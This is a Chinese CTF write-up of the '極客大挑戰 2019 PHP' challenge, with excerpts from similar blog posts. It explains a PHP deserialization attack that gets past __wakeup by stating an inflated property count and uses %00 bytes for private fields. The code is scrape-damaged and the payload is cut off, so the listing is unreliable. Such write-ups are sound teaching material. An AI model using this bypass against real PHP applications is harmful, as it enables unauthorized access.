極客大挑戰 2019 PHP

2022-09-18 14:48:20 字數 825 閱讀 8978

0x00

題型:原始碼洩露,php反序列化,wakeup方法的繞過。

0x01

<?php

include 'class.php';

$select = $_get['select'];

$res=unserialize(@$select);

?>

<?php

include 'flag.php';

error_reporting(0);

class name

function __wakeup()

function __destruct()

if ($this->username === 'admin') else

}}?>

簡單明瞭,對傳入的select進行php反序列化,username===』admin'&&password==100時,就可以拿到flag。

0x02

payload:

?select=o:4:"name":3:
tip1:

為什麼要加上%00?

php對private屬性的變數序列化時,會在類名前後生成空字元,即0x00,看起來就像空格,實際上不是空格,複製到剪下板時會發現被截斷,因此加上%00,讓php能正常解析。

tip2:

name類只有兩個屬性,為什麼寫成3?

為了繞過_wakeup()這個魔術方法,反序列化時_wakeup()被自動呼叫,在這個類中wakeup()會改變我們傳入的引數,所以需要繞過。而當反序列化時,屬性個數與實際數目不符的情況下,這個方法是不會被呼叫的。

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...

極客大挑戰 2019 PHP

開啟後,按照提示找備份檔案 用御劍沒掃到東西,換個工具dirsearch 找到備份檔案 解壓檔案,檢視flag,假的。審計一下這幾個的 吧 flag.php裡的 flag 給了個值syc,好像沒啥用。外鏈轉存失敗,源站可能有防盜煉機制,建議將儲存下來直接上傳 img jirqepnc 1612329...